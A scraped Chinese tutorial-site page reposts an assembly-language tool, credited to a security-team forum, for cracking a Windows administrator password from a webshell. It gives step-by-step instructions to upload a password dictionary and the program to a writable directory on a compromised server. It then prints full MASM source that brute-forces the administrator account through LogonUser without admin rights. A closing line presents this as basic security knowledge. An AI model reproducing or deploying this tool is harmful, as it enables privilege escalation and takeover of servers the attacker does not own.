明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

Webshell下破解計(jì)算機(jī)管理員密碼

[摘要]軟件作者:taiwansee信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)這個(gè)idea源自以前學(xué)runas命令時(shí)候的啟發(fā)。 使用方法: 1、把你的密碼字典改名成psw...

軟件作者:taiwansee信息來源:邪惡八進(jìn)制信息安全團(tuán)隊(duì)(www.eviloctal.com)這個(gè)idea源自以前學(xué)runas命令時(shí)候的啟發(fā)。 使用方法:    1、把你的密碼字典改名成psw.txt后, 上傳到目標(biāo)服務(wù)器的一個(gè)可執(zhí)行、可寫的目錄中。 這里假設(shè)這個(gè)目錄是:c:\windows\temp\    2、把程序上傳到c:\windows\temp\中, 然后運(yùn)行它。     3、然后就是等待, 過幾分鐘(具體時(shí)間看你的字典大小了)查閱c:\windows\temp\下的result_.txt中的結(jié)果,       如果為空就說明還沒破解完, 另選時(shí)間再回來看。 特點(diǎn):    不需要抓hash, 不需要管理員權(quán)限, ISUR_*用戶就能用, 速度慢(這個(gè)也是特點(diǎn)哦)在測(cè)試機(jī)中的表現(xiàn)是每秒嘗試1800個(gè)密碼左右。     默認(rèn)破解administrator用戶的密碼。 要破其它, 請(qǐng)自行修改代碼。 result_.txt示例:-----------------------------The administrators password is: testerThe program had tried 32653 times! :)Use time:0 hour(s) 0 minute(s) 17.109 second(s),average speed: 1908 times/s.-----------------------------源代碼如下:AdminPassCrack.asm文件 Quote:;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;                AdminPassCracker;;                                By taiwansee        2008.10.23;; 使用 nmake 或下列命令進(jìn)行編譯和鏈接:; ml /c /coff AdminPassCracker.asm; Link /subsystem:windows AdminPassCracker.obj;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .386                .model flat, stdcall                option casemap :none;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; Include 文件定義;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>include                windows.incinclude                user32.incincludelib        user32.libinclude                kernel32.incincludelib        kernel32.libinclude                Advapi32.incincludelib        Advapi32.libinclude                _TotalTime.asm;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數(shù)據(jù)段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .constDEBUG                                equ        0LOGON32_LOGON_NETWORK                equ    3LOGON32_PROVIDER_DEFAULT        equ        0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 數(shù)據(jù)段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>align 4                .data?hModuleHandle                DWORD        ?szFileName                BYTE        MAX_PATH dup(?)                .dataszResultFile        BYTE        result_.txt,0szPswDic        BYTE        psw.txt,0szDomain        BYTE        .,0szUserName        BYTE        administrator,0szResultFileFormat        BYTE        The administrator,27h,s password is: %s,0dh,0ah                        BYTE        The program had tried %d times! :),0dh,0ah,0szNoDicFileErr                BYTE        Sorry,dic file not exists.,0szCreateFileMappingErr        BYTE        CreateFileMapping Error!,0szMapViewOfFileErr        BYTE        MapViewOfFile Error!,0szNotFound                BYTE        Password not found! :(,0dh,0ah,0;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 代碼段;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>                .codealign 4_WinMain        proc        local        @hPswDic:DWORD,\                @szPswTmp[MAX_PATH]:BYTE,\                @dwPswDicFileSize:DWORD,\                @hResultFile:DWORD,\                @dwWritten:DWORD,\                @hPswDicFileMap:DWORD,\                @hToken:DWORD,\                @dwTriedTimes:DWORD,\                @szBuf[MAX_PATH]:BYTE,\                @dwContentLength:DWORD,\                @lpPswDic:DWORD,\                @lpNext:DWORD,\                @lpStart:DWORD,\                @dwStart:DWORD        ;Create file to record results.        invoke        CreateFile,offset szResultFile,GENERIC_READ or GENERIC_WRITE,\                          FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,\                          FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                jmp _Error_Exit        .endif        mov        @hResultFile,eax;Open Dictionary file.        invoke        CreateFile,offset szPswDic,GENERIC_READ,\                          FILE_SHARE_READ,NULL,OPEN_EXISTING,\                          FILE_ATTRIBUTE_NORMAL,NULL        .if        eax == INVALID_HANDLE_VALUE                invoke        WriteFile,@hResultFile,offset szNoDicFileErr,sizeof szNoDicFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @hPswDic,eax        invoke        GetFileSize,@hPswDic,NULL        mov        @dwPswDicFileSize,eax;**********CreateFileMapping**********        invoke        CreateFileMapping,@hPswDic,NULL,PAGE_READONLY,0,0,NULL        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szCreateFileMappingErr,\                                  sizeof szCreateFileMappingErr,addr @dwWritten,NULL                jmp _Error_Exit                .endif        mov        @hPswDicFileMap,eax;**********MapViewOfFile**********        invoke        MapViewOfFile,eax,FILE_MAP_READ,0,0,0        .if        eax==NULL                invoke        WriteFile,@hResultFile,offset szMapViewOfFileErr,\                                  sizeof szMapViewOfFileErr,addr @dwWritten,NULL                jmp _Error_Exit        .endif        mov        @lpPswDic,eax        mov        @lpNext,eax        mov        @lpStart,eax                invoke        GetTickCount                ;計(jì)算使用的毫秒數(shù),開始        mov        @dwStart,eax        xor        ecx,ecx        ;統(tǒng)計(jì)已經(jīng)分析的字符個(gè)數(shù)        xor        eax,eax        mov        @dwTriedTimes,eax        ;統(tǒng)計(jì)嘗試的次數(shù)        .while        TRUE                cld                mov        esi,@lpStart                lea        edi,@szPswTmp        @@:                lodsb                .if        al!=0dh                        stosb                        inc        ecx                        .if        ecx==@dwPswDicFileSize                                jmp        @F                        .elseif        ecx>@dwPswDicFileSize                                jmp        _NotFound                        .endif                        jmp        @B                .endif        @@:                add        ecx,2                xor        eax,eax                stosw                        ;用0結(jié)尾                        lea        eax,[esi+1]                mov        @lpNext,eax        ;修正到下一個(gè)密碼                push        ecx        ;保存計(jì)數(shù)值                invoke        LogonUser,offset szUserName,offset szDomain,addr @szPswTmp,\                                  LOGON32_LOGON_NETWORK,\                                  LOGON32_PROVIDER_DEFAULT,\                                  addr @hToken                .if        eax==NULL                        pop        ecx        ;恢復(fù)計(jì)數(shù)值                        push        @lpNext                        pop        @lpStart                                                inc        @dwTriedTimes                        .continue                .else                        pop        ecx        ;堆棧平衡                        .break                .endif        .endw        invoke        GetTickCount                ;計(jì)算使用的毫秒數(shù),結(jié)束        sub        eax,@dwStart        mov        @dwStart,eax        invoke        wsprintf,addr @szBuf,offset szResultFileFormat,addr @szPswTmp,@dwTriedTimes        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                invoke        _TotalTime,addr @szBuf,@dwStart,@dwTriedTimes,NULL        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL                xor        eax,eax        inc        eax        ret_NotFound:        invoke        GetTickCount                ;計(jì)算使用的毫秒數(shù),開始        sub        eax,@dwStart        mov        @dwStart,eax        invoke        lstrcpy,addr @szBuf,offset szNotFound        invoke        _TotalTime,addr @szPswTmp,@dwStart,@dwTriedTimes,NULL        invoke        lstrcat,addr @szBuf,addr @szPswTmp        invoke        lstrlen,addr @szBuf        mov        @dwContentLength,eax        invoke        WriteFile,@hResultFile,addr @szBuf,\                          @dwContentLength,addr @dwWritten,NULL_Error_Exit:        xor        eax,eax        ret_WinMain        endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>start:        invoke        GetModuleHandle,NULL        mov        hModuleHandle,eax        invoke        GetModuleFileName,hModuleHandle,offset szFileName,sizeof szFileName        invoke        lstrlen,offset szFileName        cld        mov        esi,offset szFileName        add        esi,eax        std@@:        lodsb        cmp        al,5ch        jne        @B        mov        byte ptr [esi+2],0        cld        invoke        SetCurrentDirectory,offset szFileName        call        _WinMain        invoke        ExitProcess,NULL;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>        end        start_TotalTime.asm文件Quote:                .dataszResultFormat        BYTE        Use time:%d hour(s) %d minute(s) %d.%03d second(s),average speed: %d times/s.,0dh,0ah,0                .code;********************************************************;        _TotalTime;_lpBuf為調(diào)用者提供的接收結(jié)果緩沖區(qū);_dwTotalTime為總耗時(shí), 一般來說, 前面有;invoke        GetTickCount;sub        eax,@dwStart;這兩條指令;_dwThingsHappend為在計(jì)時(shí)期間, 關(guān)心的事件發(fā)生的次數(shù);_FutrueExtention為將來拓展用;********************************************************_TotalTime        proc        _lpBuf,_dwTotalTime,_dwThingsHappend,_FutrueExtentionlocal        @dwStart:DWORD,\        @dwMilliseconds:DWORD,\        @dwSecond:DWORD,\        @dwMinute:DWORD,\        @dwHour:DWORD,\        @dwSus:DWORD,\        @AVGSpeed:DWORD        mov        eax,_dwTotalTime        ;時(shí)間換算        xor        edx,edx        mov        ebx,1000        div        ebx        mov        @dwMilliseconds,edx        ;毫秒        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwSecond,edx                        xor        edx,edx        mov        ebx,60        div        ebx        mov        @dwMinute,edx                        xor        edx,edx        mov        ebx,24        div        ebx        mov        @dwHour,edx                ;計(jì)算平均速度:_dwThingsHappend÷_dwTotalTime        xor        edx,edx        mov        eax,_dwThingsHappend        ;_dwThingsHappend 也擴(kuò)大1000倍(因?yàn)開dwTotalTime時(shí)間是毫秒數(shù))        mov        ebx,1000        mul        ebx        mov        ebx,_dwTotalTime        ;把_dwTotalTime的值恢復(fù)到ebx        .if        ebx!=0                div        ebx                mov        @AVGSpeed,eax        .else        ;如果_dwTotalTime為0,說明運(yùn)行時(shí)間太少,無(wú)法統(tǒng)計(jì),在這里用_dwThingsHappend作為@AVGSpeed的                push        _dwThingsHappend                pop        @AVGSpeed        .endif        invoke        wsprintf,_lpBuf,\                        offset szResultFormat,\                        @dwHour,\                        @dwMinute,\                        @dwSecond,\                        @dwMilliseconds,\                        @AVGSpeed        xor        eax,eax        inc        eax        ret_TotalTime        endp


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。